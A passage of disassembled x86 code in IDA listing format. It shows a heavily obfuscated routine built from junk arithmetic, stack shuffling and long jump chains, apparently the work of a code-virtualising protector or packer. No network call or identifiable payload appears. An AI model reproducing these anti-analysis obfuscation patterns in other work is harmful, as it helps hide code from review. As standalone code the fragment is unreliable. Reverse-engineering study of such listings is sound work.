		xor	ecx, ebx
		mov	ebx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A3178
; ---------------------------------------------------------------------------


loc_591D45:				; CODE XREF: sub_57DD3A+20BDEj
		mov	ecx, 4
		sub	edx, 18733933h
		jmp	loc_58EB09
; ---------------------------------------------------------------------------


loc_591D55:				; CODE XREF: sub_57DD3A+12C73j
		add	edi, 4
		xchg	edi, [esp+0Ch+var_E+2]
		jmp	loc_593995
; ---------------------------------------------------------------------------


loc_591D63:				; CODE XREF: sub_57DD3A+1A52Fj
		push	ebp
		mov	ebp, 6C3008D8h
		xor	ebp, 6C3008DCh
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	[esp+10h+var_E+2]
		mov	ebx, [esp+14h+var_16+2]
		push	6557h
		mov	[esp+18h+var_1A+2], edi
		push	esp
		jmp	loc_5949F4
; ---------------------------------------------------------------------------


loc_591D88:				; CODE XREF: sub_57DD3A+1867Dj
		sub	ebp, 1C2C19E1h
		add	ebp, eax
		add	ebp, 1C2C19E1h
		pop	eax
		add	ebp, 4
		jmp	loc_599545
; ---------------------------------------------------------------------------


loc_591D9F:				; CODE XREF: sub_57DD3A+1E577j
		add	ah, bh
		pop	ebx
		xor	ah, 6Ah
		sub	esp, 2
		mov	word ptr [esp+18h+var_1A+2], bx
		mov	bl, ah
		not	bl
		mov	ah, bl
		pop	bx
		push	ebx
		mov	bl, 95h
		or	ah, bl
		pop	ebx
		jmp	loc_59A99C
; ---------------------------------------------------------------------------


loc_591DBF:				; CODE XREF: sub_57DD3A+1C7A2j
		push	edi
		mov	edi, 4
		add	eax, edi
		push	[esp+1Ah+var_1A]
		pop	edi
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+16h+var_16]
		jmp	loc_59AE59
; ---------------------------------------------------------------------------


loc_591DD9:				; CODE XREF: sub_57DD3A+16634j
		push	[esp+16h+var_16]
		jmp	loc_5978EE
; ---------------------------------------------------------------------------


loc_591DE1:				; CODE XREF: sub_57DD3A+247AFj
		mov	edx, 266D57D6h
		xor	ecx, edx
		pop	edx
		mov	edi, ecx
		push	[esp+16h+var_16]
		jmp	loc_58E6CB
; ---------------------------------------------------------------------------


loc_591DF3:				; CODE XREF: sub_57DD3A+11928j
		mov	edi, ecx
		pop	ecx
		jmp	loc_592F3C
; ---------------------------------------------------------------------------


loc_591DFB:				; CODE XREF: sub_57DD3A+19241j
		mov	ecx, esp
		jmp	loc_59A543
; ---------------------------------------------------------------------------


loc_591E02:				; CODE XREF: sub_57DD3A+1E19Bj
		mov	edi, 34107CF5h
		mov	eax, edi
		pop	edi
		mov	ebp, eax
		jmp	loc_59114B
; ---------------------------------------------------------------------------


loc_591E11:				; CODE XREF: sub_57DD3A+12A80j
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, 4C10D49h
		mov	ecx, ebx
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	eax
		mov	eax, 7A6222E0h
		sub	[esp+20h+var_1A+2], eax
		pop	eax
		add	[esp+1Ch+var_1A+2], ecx
		add	[esp+1Ch+var_1A+2], 7A6222E0h
		jmp	loc_595EB9
; ---------------------------------------------------------------------------


loc_591E40:				; CODE XREF: sub_57DD3A+122B3j
		push	34E6h
		mov	[esp+4Ch+var_4C], ebx
		jmp	loc_593B73
; ---------------------------------------------------------------------------


loc_591E4D:				; CODE XREF: sub_57DD3A+1F318j
		pop	ebx
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_592099
; ---------------------------------------------------------------------------


loc_591E62:				; CODE XREF: sub_57DD3A+20C5Ej
		or	edx, 7E1E63CEh
		push	ebx
		push	edi
		push	0EDB5DADh
		pop	edi
		shr	edi, 8
		add	edi, 279D50C5h
		jmp	loc_59F44C
; ---------------------------------------------------------------------------


loc_591E7E:				; CODE XREF: sub_57DD3A+205C5j
		and	edx, 6E629D8h
		shl	edx, 3
		xor	edx, 25214EC4h
		jmp	loc_5A102F
; ---------------------------------------------------------------------------


loc_591E92:				; CODE XREF: sub_57DD3A+1A13Bj
		pop	esp
		jmp	loc_58FA6A
; ---------------------------------------------------------------------------


loc_591E98:				; CODE XREF: sub_57DD3A+13869j
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+0Ch+var_E+2]
		pop	esp
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_59B7C2
; ---------------------------------------------------------------------------


loc_591EB5:				; CODE XREF: sub_57DD3A+131A1j
		sub	dh, 0Bh
		jmp	loc_59EBE4
; ---------------------------------------------------------------------------


loc_591EBD:				; CODE XREF: sub_57DD3A+11858j
		add	edi, ecx
		pop	ecx
		jmp	loc_592D4D
; ---------------------------------------------------------------------------


loc_591EC5:				; CODE XREF: sub_57DD3A+21162j
		xor	[esp+6Ch+var_6C], edx
		xor	edx, [esp+6Ch+var_6C]
		jmp	loc_59FCF5
; ---------------------------------------------------------------------------


loc_591ED0:				; CODE XREF: sub_57DD3A+18458j
		add	esp, 4
		push	eax
		mov	eax, 9F919A6h
		neg	eax
		jmp	loc_595905
; ---------------------------------------------------------------------------


loc_591EE3:				; CODE XREF: sub_57DD3A+16E39j
		xor	ebp, 19764CBEh
		jmp	loc_59E83B
; ---------------------------------------------------------------------------


loc_591EEE:				; CODE XREF: sub_57DD3A+12EAAj
		mov	word ptr [esp+58h+var_58], bx
		push	edx
		push	ebx
		push	edx
		jmp	loc_59AC19
; ---------------------------------------------------------------------------


loc_591EFA:				; CODE XREF: sub_57DD3A+1E7DDj
		mov	ebp, 455355B9h
		dec	ebp
		xor	ebp, 3FD02474h
		sub	ebp, 1BFA632Fh
		or	ebp, 5BBA4B71h
		push	esi
		mov	esi, 5FBB4FF9h
		xor	ebp, esi
		jmp	loc_59ED45
; ---------------------------------------------------------------------------


loc_591F1F:				; CODE XREF: sub_57DD3A+1EAE5j
		add	ebx, 4
		jmp	loc_597971
; ---------------------------------------------------------------------------


loc_591F2A:				; CODE XREF: sub_57DD3A+1463Bj
		push	ebx
		mov	ebx, 772E6933h
		add	eax, ebx
		jmp	loc_597FC6
; ---------------------------------------------------------------------------


loc_591F37:				; CODE XREF: sub_57DD3A+13B4Fj
		add	ebx, 0BA238141h
		jmp	loc_59CB2C
; ---------------------------------------------------------------------------


loc_591F42:				; CODE XREF: sub_57DD3A+10C2Aj
		pop	edx
		jmp	loc_599A9F
; ---------------------------------------------------------------------------


loc_591F48:				; CODE XREF: sub_57DD3A+1B2F1j
		mov	edx, 0DF8576Fh
		jmp	loc_5985AB
; ---------------------------------------------------------------------------


loc_591F52:				; CODE XREF: sub_57DD3A+19266j
		push	ecx
		xor	[esp+2+var_4+2], 29556077h
		jmp	loc_594460
; ---------------------------------------------------------------------------


loc_591F5F:				; CODE XREF: sub_57DD3A+1A97Aj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 173B0DADh
		add	ecx, 7C0E4759h
		or	ecx, 60D37BA5h
		jmp	loc_59FA27
; ---------------------------------------------------------------------------


loc_591F79:				; CODE XREF: sub_57DD3A+1A705j
		push	6163h
		mov	[esp+0Eh+var_E], esi
		jmp	loc_5952EB
; ---------------------------------------------------------------------------


loc_591F86:				; CODE XREF: sub_57DD3A+21C29j
		push	edi
		mov	edi, 61E73299h
		push	edi
		xor	[esp+16h+var_16], 0EF90373h
		pop	edx
		jmp	loc_59CC4B
; ---------------------------------------------------------------------------


loc_591F9A:				; CODE XREF: sub_57DD3A+17FE2j
		pop	eax
		mov	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		push	edi
		mov	edi, 0FCA9E1A2h
		add	esi, edi
		pop	edi
		add	edx, 1EDF41F3h
		sub	edx, esi
		sub	edx, 1EDF41F3h
		jmp	loc_5A30FE
; ---------------------------------------------------------------------------


loc_591FBD:				; CODE XREF: sub_57DD3A+1C17Aj
		sub	eax, ebp
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 232679F4h
		sub	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		pop	ebp
		add	eax, 6A6B62ADh
		push	0EC2h
		mov	[esp+6+var_8+2], edx
		push	36EC2C48h
		pop	edx
		add	eax, edx
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+6+var_8+2], ebp
		mov	ebp, esp
		jmp	loc_5A1C7F
; ---------------------------------------------------------------------------


loc_591FFB:				; CODE XREF: sub_57DD3A+21AE0j
		xor	edx, ebp
		pop	ebp
		xor	edx, 0FEEEF29Fh
		add	ecx, edx
		pop	edx
		jmp	loc_5A19ED
; ---------------------------------------------------------------------------

locret_59200C:				; CODE XREF: sub_57DD3A+11047j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_590D22
; ---------------------------------------------------------------------------


loc_592012:				; CODE XREF: sub_57DD3A+143A9j
		add	bl, dl
		pop	edx
		sub	bl, ah
		sub	bl, 0Ah
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+20h+var_22+2]
		jmp	loc_590ECA
; ---------------------------------------------------------------------------


loc_59202A:				; CODE XREF: sub_57DD3A+163AFj
		push	ebx
		mov	ebx, 6535180Fh
		push	ebx
		jmp	loc_592512
; ---------------------------------------------------------------------------


loc_592036:				; CODE XREF: sub_57DD3A+128DAj
		add	edi, 3B304A7Dh
		sub	edi, 77D314E4h
		jmp	loc_592BE2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+18h+var_1A+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_592056:				; CODE XREF: sub_57DD3A+22D42j
		mov	esi, [esp+1Ch+var_1E+2]
		add	esp, 4
		pop	[esp+18h+var_1A+2]
		jmp	loc_5A318F
; ---------------------------------------------------------------------------


loc_592064:				; CODE XREF: sub_57DD3A+134D1j
		mov	esi, 9D9C595Fh
		mov	edx, esi
		pop	esi
		sub	edx, ebp
		jmp	loc_5930A2
; ---------------------------------------------------------------------------


loc_592073:				; CODE XREF: sub_57DD3A+1866Cj
		pop	ebx
		add	al, bl
		push	ecx
		mov	ch, 5Fh
		jmp	loc_59710A
; ---------------------------------------------------------------------------


loc_59207E:				; CODE XREF: sub_57DD3A+23351j
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		jmp	loc_5944B3
; ---------------------------------------------------------------------------


loc_592091:				; CODE XREF: sub_57DD3A+1E7ECj
		mov	ah, 19h
		push	ebx
		jmp	loc_5913D4
; ---------------------------------------------------------------------------


loc_592099:				; CODE XREF: sub_57DD3A+14123j
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp+44h+var_46+2], ecx
		mov	ecx, 2
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp+44h+var_46+2], ebx
		mov	ebx, 5FEB01EFh
		add	edx, ebx
		jmp	loc_59F9E5
; ---------------------------------------------------------------------------


loc_5920C7:				; CODE XREF: sub_57DD3A+1BFC7j
		sub	bl, al
		sub	bl, 0E2h
		push	small 2Dh
		mov	word ptr [esp+46h+var_46], ax
		mov	ah, 0DAh
		push	edx
		mov	dl, 4Eh
		dec	dl
		not	dl
		and	dl, 0F6h
		sub	dl, 0A8h
		jmp	loc_592012
; ---------------------------------------------------------------------------


loc_5920E8:				; CODE XREF: sub_57DD3A+1CA73j
		add	esp, 4
		push	eax
		push	7642h
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, 4FC05B8Ah
		xor	ecx, 7A342116h
		add	ecx, 4C97BB8h
		jmp	loc_58EEEB
; ---------------------------------------------------------------------------
		mov	ecx, [esp+4Eh+var_50+2]
		push	ebx
		jmp	loc_5A2ED3
; ---------------------------------------------------------------------------


loc_592113:				; CODE XREF: sub_57DD3A+243B1j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5903E0
; ---------------------------------------------------------------------------


loc_592124:				; CODE XREF: sub_57DD3A+10F28j
		xchg	eax, esi
		jmp	loc_59AE3A
; ---------------------------------------------------------------------------


loc_59212A:				; CODE XREF: sub_57DD3A+1811Cj
		add	esp, 4
		push	37ECh
		jmp	loc_593612
; ---------------------------------------------------------------------------


loc_59213A:				; CODE XREF: sub_57DD3A+1E4ABj
		sub	esi, 4
		push	esi
		push	[esp+22h+var_1E]
		pop	esi
		pop	[esp+22h+var_22]
		pop	esp
		jmp	loc_5A2A03
; ---------------------------------------------------------------------------


loc_59214C:				; CODE XREF: sub_57DD3A+10DA9j
		pop	ecx
		push	edi
		neg	[esp+18h+var_1A+2]
		jmp	loc_5A10BD
; ---------------------------------------------------------------------------


loc_592156:				; CODE XREF: sub_57DD3A+15058j
		add	esi, 15807A4Fh
		shl	esi, 4
		push	eax
		jmp	loc_597F40
; ---------------------------------------------------------------------------


loc_592165:				; CODE XREF: sub_57DD3A+10C56j
		add	eax, ecx
		pop	ecx
		sub	eax, ebp
		jmp	loc_59B0BF
; ---------------------------------------------------------------------------


loc_59216F:				; CODE XREF: sub_57DD3A+14AD7j
		sub	ebx, 634E3FDFh
		sub	ebx, edx
		jmp	loc_59B7DE
; ---------------------------------------------------------------------------


loc_59217C:				; CODE XREF: sub_57DD3A+20485j
		mov	si, 2F7Ch
		sub	si, 3536h
		jmp	loc_5950AE
; ---------------------------------------------------------------------------


loc_59218A:				; CODE XREF: sub_57DD3A+1DFC7j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_591021
; ---------------------------------------------------------------------------


loc_59219C:				; CODE XREF: sub_57DD3A+1A598j
		pop	esi
		push	ebx
		jmp	loc_59D2CD
; ---------------------------------------------------------------------------


loc_5921A3:				; CODE XREF: sub_57DD3A+25095j
		push	ebp
		push	6ADD1732h
		pop	ebp
		push	ebp
		jmp	loc_59A301
; ---------------------------------------------------------------------------


loc_5921B0:				; CODE XREF: sub_57DD3A+21F95j
		mov	dx, 734Eh
		add	word ptr [esp+0Eh+var_E+2], dx
		pop	dx
		pop	di
		sub	di, 734Eh
		pop	eax
		shr	di, 4
		xor	di, 579Ah
		not	di
		sub	di, 0FFFFh
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_59E1BB
; ---------------------------------------------------------------------------


loc_5921EA:				; CODE XREF: sub_57DD3A+11AC2j
		not	ebp
		shl	ebp, 7
		jmp	loc_596549
; ---------------------------------------------------------------------------


loc_5921F4:				; CODE XREF: sub_57DD3A+1676Cj
		pop	ebx
		add	esi, 0FFFFFFFFh
		not	esi
		and	esi, 451E35D2h
		sub	esi, 0B49CCE22h
		sub	eax, 16826624h
		add	eax, esi
		jmp	loc_592EB9
; ---------------------------------------------------------------------------


loc_592215:				; CODE XREF: sub_57DD3A+1B0B2j
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], esi
		jmp	loc_5A0A31
; ---------------------------------------------------------------------------


loc_592223:				; CODE XREF: sub_57DD3A+149E8j
		xor	[esp+4Ah+var_4C+2], eax
		xor	eax, [esp+4Ah+var_4C+2]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 23DA4732h
		inc	ecx
		jmp	loc_59BAD1
; ---------------------------------------------------------------------------


loc_59223F:				; CODE XREF: sub_57DD3A+18096j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+4Eh+var_50+2]
		pop	esp
		mov	[esp+4Ah+var_4C+2], esp
		push	6014h
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 4
		add	[esp+4Eh+var_4C+2], ebx
		mov	ebx, [esp+4Eh+var_50+2]
		add	esp, 4
		push	[esp+4Ah+var_4C+2]
		push	[esp+4Eh+var_50+2]
		mov	ebx, [esp+52h+var_54+2]
		add	esp, 4
		add	esp, 4
		push	5227h
		mov	[esp+4Eh+var_50+2], edx
		mov	edx, esp
		push	edi
		mov	edi, 0FAE0D47h
		not	edi
		shr	edi, 3
		or	edi, 61502EFDh
		add	edi, 58C5127Dh
		xor	edi, 0D81F5178h
		add	edx, edi
		pop	edi
		add	edx, 4
		xor	edx, [esp+4Eh+var_50+2]
		xor	[esp+4Eh+var_50+2], edx
		xor	edx, [esp+4Eh+var_50+2]
		pop	esp
		add	ebx, 4
		push	edx
		mov	edx, 2
		add	ebx, edx
		push	[esp+4Eh+var_50+2]
		pop	edx
		add	esp, 4
		xchg	ebx, [esp+4Ah+var_4C+2]
		mov	esp, [esp+4Ah+var_4C+2]
		mov	ax, word ptr [esp+4Ah+var_4C+2]
		push	eax
		push	esp
		pop	eax
		push	45A4h
		mov	[esp+52h+var_54+2], edx
		mov	edx, 717F07B8h
		add	edx, 0FFFFFFFFh
		not	edx
		add	edx, 1
		push	2C96h
		mov	[esp+56h+var_58+2], ebp
		mov	ebp, 4E8364CFh
		and	edx, ebp
		jmp	loc_5A140D
; ---------------------------------------------------------------------------


loc_592306:				; CODE XREF: sub_57DD3A+1EB14j
		and	edx, 3F625E7Dh
		dec	edx
		xor	edx, 0F369E093h
		xor	esi, edx
		pop	edx
		xor	ebx, esi
		pop	esi
		add	ecx, ebx
		push	[esp+4Eh+var_50+2]
		mov	ebx, [esp+52h+var_54+2]
		add	esp, 4
		add	esp, 4
		push	3F0Ch
		jmp	loc_596266
; ---------------------------------------------------------------------------


loc_592331:				; CODE XREF: sub_57DD3A+201ACj
		push	esi
		jmp	loc_59C8F2
; ---------------------------------------------------------------------------


loc_592337:				; CODE XREF: sub_57DD3A+14C56j
		add	edi, esi
		jmp	loc_58FFD2
; ---------------------------------------------------------------------------


loc_59233E:				; CODE XREF: sub_57DD3A+22BDDj
		push	ebx
		push	edx
		pop	ebx
		jmp	loc_5A00E5
; ---------------------------------------------------------------------------


loc_592346:				; CODE XREF: sub_57DD3A+14CAAj
		sub	edi, ecx
		push	[esp+56h+var_58+2]
		pop	ecx
		add	esp, 4
		xor	edi, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], edi
		jmp	loc_590784
; ---------------------------------------------------------------------------


loc_59235D:				; CODE XREF: sub_57DD3A+1CA25j
		add	eax, edi
		sub	eax, 53677D88h
		sub	eax, 22253469h
		push	ebp
		mov	ebp, 7FF237A6h
		add	ebp, 96ADE7AFh
		jmp	loc_591F2A
; ---------------------------------------------------------------------------


loc_59237A:				; CODE XREF: sub_57DD3A+11BC9j
		mov	ebp, 1
		jmp	loc_59C06C
; ---------------------------------------------------------------------------


loc_592384:				; CODE XREF: sub_57DD3A+108AEj
		push	789435D2h
		pop	edi
		push	ebp
		push	43DD0912h
		mov	ebp, [esp+1Ch+var_1E+2]
		add	esp, 4
		mov	esi, 908A1C45h
		xor	esi, ebp
		pop	ebp
		add	esi, 263D2400h
		sub	esi, edi
		push	ebx
		mov	ebx, 263D2400h
		jmp	loc_59C793
; ---------------------------------------------------------------------------


loc_5923B1:				; CODE XREF: sub_57DD3A+17A07j
		push	[esp+18h+var_1A+2]
		pop	ecx
		push	3EFFh
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 1AB65E8Bh
		xor	eax, 67026E6Ch
		jmp	loc_591565
; ---------------------------------------------------------------------------


loc_5923CF:				; CODE XREF: sub_57DD3A+1F62Dj
		push	esp
		push	[esp+24h+var_26+2]
		jmp	loc_59AA77
; ---------------------------------------------------------------------------


loc_5923D8:				; CODE XREF: sub_57DD3A+1A154j
		mov	[esp+28h+var_2A+2], eax
		push	ebx
		push	ecx
		jmp	loc_59D7ED
; ---------------------------------------------------------------------------


loc_5923E2:				; CODE XREF: sub_57DD3A+1B811j
		add	al, bl
		add	al, 0D5h
		push	ecx
		mov	cl, 78h
		neg	cl
		sub	cl, 27h
		sub	al, cl
		mov	ecx, [esp+34h+var_36+2]
		add	esp, 4
		push	ecx
		mov	ch, 26h
		push	24C7h
		mov	[esp+38h+var_3A+2], ebx
		mov	bh, 0D1h
		sub	al, 27h
		jmp	loc_58E84F
; ---------------------------------------------------------------------------


loc_59240D:				; CODE XREF: sub_57DD3A+1FAA0j
		shl	edx, 5
		add	edx, 0A48CD9FEh
		mov	ebp, edx
		pop	edx
		jmp	loc_59335C
; ---------------------------------------------------------------------------


loc_59241E:				; CODE XREF: sub_57DD3A+1D5B9j
		sub	ebp, 280F1DB3h
		pop	edx
		sub	ebx, 3BE830E0h
		add	ebx, ebp
		add	ebx, 3BE830E0h
		pop	ebp
		push	edx
		push	487Fh
		mov	[esp+34h+var_36+2], ecx
		push	edx
		push	357A1A47h
		pop	edx
		jmp	loc_597E7A
; ---------------------------------------------------------------------------


loc_592449:				; DATA XREF: sub_57DD3A+1036Eo
		mov	eax, [esp+38h+var_3A+2]
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+40h+var_42+2], esi
		mov	esi, 6D164541h
		add	esi, 106C307Ah
		jmp	loc_599A60
; ---------------------------------------------------------------------------


loc_592465:				; CODE XREF: sub_57DD3A+1D430j
		sub	edi, 2A7A7971h
		sub	edi, ebp
		add	edi, 2A7A7971h
		push	[esp+40h+var_42+2]
		pop	ebp
		jmp	loc_58E364
; ---------------------------------------------------------------------------


loc_59247C:				; CODE XREF: sub_57DD3A+1C745j
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59248B:				; CODE XREF: sub_57DD3A+10BE0j
		or	dl, 0EFh
		jmp	loc_59AC4D
; ---------------------------------------------------------------------------


loc_592493:				; CODE XREF: sub_57DD3A+149F0j
		push	32C50872h
		pop	eax
		and	eax, 5F171141h
		add	eax, 0FFFFFFFFh
		jmp	loc_5A1041
; ---------------------------------------------------------------------------


loc_5924A6:				; CODE XREF: sub_57DD3A+130ACj
		shr	edx, 5
		add	edx, 2BF818C8h
		sub	esi, edx
		jmp	loc_58F9F5
; ---------------------------------------------------------------------------


loc_5924B6:				; CODE XREF: sub_57DD3A+17171j
		xor	ebp, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], ebp
		jmp	loc_59FB35
; ---------------------------------------------------------------------------


loc_5924C1:				; CODE XREF: sub_57DD3A+21410j
		sub	cl, 9Ch
		sub	cl, 0F2h
		jmp	loc_59AC33
; ---------------------------------------------------------------------------


loc_5924CC:				; CODE XREF: sub_57DD3A+22553j
		mov	[esp+5Ch+var_5C], ebp
		mov	ebp, 223744EFh
		jmp	loc_599933
; ---------------------------------------------------------------------------


loc_5924D9:				; CODE XREF: sub_57DD3A+229D8j
		add	[esp+5Ch+var_5C], 70AC455Ah
		pop	esi
		sub	esi, 70AC455Ah
		jmp	loc_5A1599
; ---------------------------------------------------------------------------


loc_5924EC:				; CODE XREF: sub_57DD3A+16928j
		mov	[esp+58h+var_58], edi
		push	[esp+58h+var_54]
		pop	edi
		pop	[esp+58h+var_58]
		mov	esp, [esp+54h+var_54]
		push	[esp+54h+var_54]
		jmp	loc_593575
; ---------------------------------------------------------------------------


loc_592502:				; CODE XREF: sub_57DD3A+243A5j
		mov	[esp+58h+var_58], ecx
		mov	ecx, 694A4CF8h
		add	eax, ecx
		pop	ecx
		jmp	loc_59B2F8
; ---------------------------------------------------------------------------


loc_592512:				; CODE XREF: sub_57DD3A+142F7j
		add	[esp+2Ch+var_2E+2], 4E7A0FE1h
		pop	ebp
		sub	ebp, 4E7A0FE1h
		pop	ebx
		sub	ebp, 211C458Fh
		add	ebp, 401E18C2h
		and	ebp, 494D3DF0h
		jmp	loc_59731D
; ---------------------------------------------------------------------------


loc_592538:				; CODE XREF: sub_57DD3A+1AD55j
		add	ebx, 0FA0E8B46h
		jmp	loc_599E41
; ---------------------------------------------------------------------------


loc_592543:				; CODE XREF: sub_57DD3A+17167j
		push	ebx
		mov	ebx, 3D832687h
		add	eax, ebx
		pop	ebx
		xor	dword ptr [eax], 79A454BFh
		pop	eax
		pop	edx
		sub	[edi+20h], ebx
		push	[esp+1Ch+var_1E+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A099A
; ---------------------------------------------------------------------------


loc_592569:				; CODE XREF: sub_57DD3A+22058j
		push	[esp+1Ch+var_1E+2]
		jmp	loc_5959FF
; ---------------------------------------------------------------------------


loc_592571:				; CODE XREF: sub_57DD3A+1B437j
		pop	ebp
		push	7E55h
		mov	[esp+20h+var_22+2], edx
		mov	edx, 422C0E5Fh
		jmp	loc_59E32A
; ---------------------------------------------------------------------------


loc_592584:				; CODE XREF: sub_57DD3A+13815j
		push	[esp+10h+var_12+2]
		pop	ebx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edx
		mov	edx, 4
		jmp	loc_5A04A2
; ---------------------------------------------------------------------------


loc_59259E:				; CODE XREF: sub_57DD3A+18127j
		push	esi
		push	ebp
		mov	ebp, 2E056CFAh
		push	eax
		mov	eax, ebp
		jmp	loc_595B0F
; ---------------------------------------------------------------------------


loc_5925AD:				; CODE XREF: sub_57DD3A+21AAFj
		add	esi, 4
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], esi
		push	4
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		add	ebp, 351379DDh
		add	ebp, esi
		sub	ebp, 351379DDh
		pop	esi
		push	ebx
		push	5B59h
		mov	[esp+24h+var_26+2], ebp
		push	1E7F3566h
		mov	ebp, [esp+28h+var_2A+2]
		add	esp, 4
		shr	ebp, 5
		xor	ebp, 0F3F9A9h
		jmp	loc_59F9AB
; ---------------------------------------------------------------------------


loc_592605:				; CODE XREF: sub_57DD3A+170AFj
		mov	eax, 4
		jmp	loc_59DCDC
; ---------------------------------------------------------------------------


loc_59260F:				; CODE XREF: sub_57DD3A+1F31Fj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		jmp	loc_598830
; ---------------------------------------------------------------------------


loc_592624:				; CODE XREF: sub_57DD3A+210A6j
		sub	esi, edi
		sub	esi, 1D3D3F2Bh
		jmp	loc_591225
; ---------------------------------------------------------------------------


loc_592631:				; CODE XREF: sub_57DD3A+2047Cj
		pop	esi
		pop	[esp+1Ch+var_1E+2]
		jmp	loc_5977B5
; ---------------------------------------------------------------------------


loc_59263A:				; CODE XREF: sub_57DD3A+1C8DDj
		mov	ebp, [esp+18h+var_1A+2]
		add	esp, 4


loc_592643:				; CODE XREF: sub_57DD3A+15946j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_594987
; ---------------------------------------------------------------------------


loc_592657:				; CODE XREF: sub_57DD3A+15E34j
		mov	ebp, 2F0C7D29h
		dec	ebp
		xor	ebp, 63924B16h
		push	ecx
		mov	ecx, 6F28688Ch
		or	ecx, 354D6CC8h
		jmp	loc_598E9F
; ---------------------------------------------------------------------------


loc_592674:				; CODE XREF: sub_57DD3A+15E88j
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1E+2]
		pop	esp
		sub	edx, 14084A55h
		sub	edx, 12D253E6h
		add	edx, ecx
		jmp	loc_5A30EA
; ---------------------------------------------------------------------------


loc_59268E:				; CODE XREF: sub_57DD3A+24904j
		add	eax, ecx
		jmp	loc_59A3C9
; ---------------------------------------------------------------------------


loc_592695:				; CODE XREF: sub_57DD3A+107DDj
		push	ebx
		jmp	loc_59642A
; ---------------------------------------------------------------------------


loc_59269B:				; CODE XREF: sub_57DD3A+13158j
		sub	ebx, 6BB61099h
		push	330h
		mov	[esp+64h+var_64], ecx
		mov	ecx, 5F734CA3h
		add	ebx, 45334454h
		jmp	loc_5A2FD1
; ---------------------------------------------------------------------------


loc_5926B9:				; CODE XREF: sub_57DD3A+22FB3j
		mov	esp, [esp+64h+var_64]
		movzx	cx, al
		push	7C4Dh
		mov	[esp+68h+var_68], edx
		push	esp
		jmp	loc_58F94F
; ---------------------------------------------------------------------------


loc_5926CE:				; CODE XREF: sub_57DD3A+1BCBEj
		mov	edx, 543A4667h
		add	edx, 71104D2Ah
		sub	edx, 77D14FD9h
		jmp	loc_598384
; ---------------------------------------------------------------------------


loc_5926E4:				; CODE XREF: sub_57DD3A+11327j
		pop	edx
		push	1CD4h
		mov	[esp+3Ch+var_3E+2], edi
		mov	edi, 4
		add	eax, edi
		push	[esp+3Ch+var_3E+2]
		jmp	loc_591A41
; ---------------------------------------------------------------------------


loc_5926FC:				; CODE XREF: sub_57DD3A+1CEECj
		push	ebx
		push	ecx
		push	79437C1h
		pop	ecx
		jmp	loc_59B1C8
; ---------------------------------------------------------------------------


loc_592709:				; CODE XREF: sub_57DD3A+1DF8Cj
		sub	ebp, 46B97579h
		jmp	loc_59CA9C
; ---------------------------------------------------------------------------


loc_592714:				; CODE XREF: sub_57DD3A+1B897j
		push	4A4F18B4h
		jmp	loc_593101
; ---------------------------------------------------------------------------


loc_59271E:				; CODE XREF: sub_57DD3A+19D4Bj
		pop	esp
		xor	eax, [esp+0]
		jmp	loc_592223
; ---------------------------------------------------------------------------


loc_592727:				; CODE XREF: sub_57DD3A+1F062j
		mov	[esp+0], eax
		jmp	loc_592493
; ---------------------------------------------------------------------------


loc_59272F:				; CODE XREF: sub_57DD3A+21748j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
